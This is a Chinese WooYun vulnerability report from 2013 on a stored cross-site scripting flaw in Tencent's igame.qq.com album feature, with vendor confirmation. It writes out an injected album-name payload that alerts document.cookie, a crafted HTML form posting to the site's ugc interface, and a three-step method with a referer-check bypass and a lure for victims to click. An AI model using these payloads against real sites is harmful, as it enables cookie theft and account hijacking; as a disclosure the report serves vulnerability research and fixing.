漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2013-019606
漏洞标题：腾讯游戏人生分站可以跨站取cookie
相关厂商：腾讯
漏洞作者： 苏南同学
提交时间：2013-03-06 11:50
修复时间：2013-04-20 11:51
公开时间：2013-04-20 11:51
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2013-03-06： 细节已通知厂商并且等待厂商处理中
2013-03-06： 厂商已经确认，细节仅向厂商公开
2013-03-16： 细节向核心白帽子及相关领域专家公开
2013-03-26： 细节向普通白帽子公开
2013-04-05： 细节向实习白帽子公开
2013-04-20： 细节向公众公开
简要描述：
不知道我提的会不会和http://www.wooyun.org/bugs/wooyun-2013-019590一样呢？我是看了他说有漏洞，我才去研究的。我权限不够，不知道我的思路和他的一样不一样。
通过构造一个特殊的相册名，外加一个无辜的type为html的json调用，实现了爆cookie全过程。
详细说明：
http://igame.qq.com/interface/album/album.php?op=3&iId=11&name=<img src='' onerror='alert(document.cookie)'>
http://igame.qq.com/interface/album/album.php?op=13
<form method='post' action='http://igame.qq.com/interface/ugc/ugc.php'>
<input name='content' value='http://igame.qq.com/interface/album/album.php?op=13'>
<input name='fellow' value=''>
<input name='gid' value='0'>
<input name='ie' value='utf-8'>
<input name='mention' value='1'>
<input name='mentiontxt' value='http://igame.qq.com/interface/album/album.php?op=13'>
<input name='op' value='2'>
<input name='pid' value='200004'>
<input name='ptitle' value='111'>
<input name='purl' value="http://igame.qq.com/interface/album/album.php?op=3&iId=11&name=<img src='' onerror='alert(document.cookie)'>">
<input name='type' value="2">
<input type='submit'>
</form>
同样，用firebug修改页面内容跳过referer检测
第一步，修改相册名，当然企鹅的程序员限制了长度，我们通过直接访问get接口突破。
第二步，把第一步的这个地址放在我特殊构造的表单里面，作为图片地址进行提交形成自己主页微博。
（这样，就方便别人过来中招么，别人访问了我的主页后，他的第一个相册名字就会修改成我们的xss代码）
第三步，想办法让他点击http://igame.qq.com/interface/album/album.php?op=13 这个我们自己发布在我的主页上的链接就行了。cookie爆出。（我们自己发布到主页而不是其他的调用方式，就是通过别人的主动点击来满足referer的验证要求..其实企鹅的程序员很无奈啊...）
我本来想找个iframe的地方让第三步自动执行的，但是找了半天找不到....谁找到了告诉我一声啊。呵呵。还有，这是我第一次xss出来cookie，而且是独立完成的哦。而且是我最想x的企鹅的cookie哦，所以希望大家对我多鼓励鼓励哦。哈哈哈。
漏洞证明：
都出来cookie了，见图么。
要是我会用那个xsser.me的js的话。我就也会有大家的那个cookie列表图了，但是我没有xsser的账户，也不会用那个js。求大神带....
修复方案：
我是来打酱油的，求rank啊求rank，求公仔啊求公仔。顺便求鼓励啊求鼓励。对待新人大家要多多扶持啊~ 谢谢~~~ 还有为啥这个cookie在ff下面出不来呢？不知道为啥，ie下面出来了....
版权声明：转载请注明来源 苏南同学@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2013-03-06 16:23
厂商回复：
非常感谢您的报告。这个问题我们已经确认，正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。
最新状态：
暂无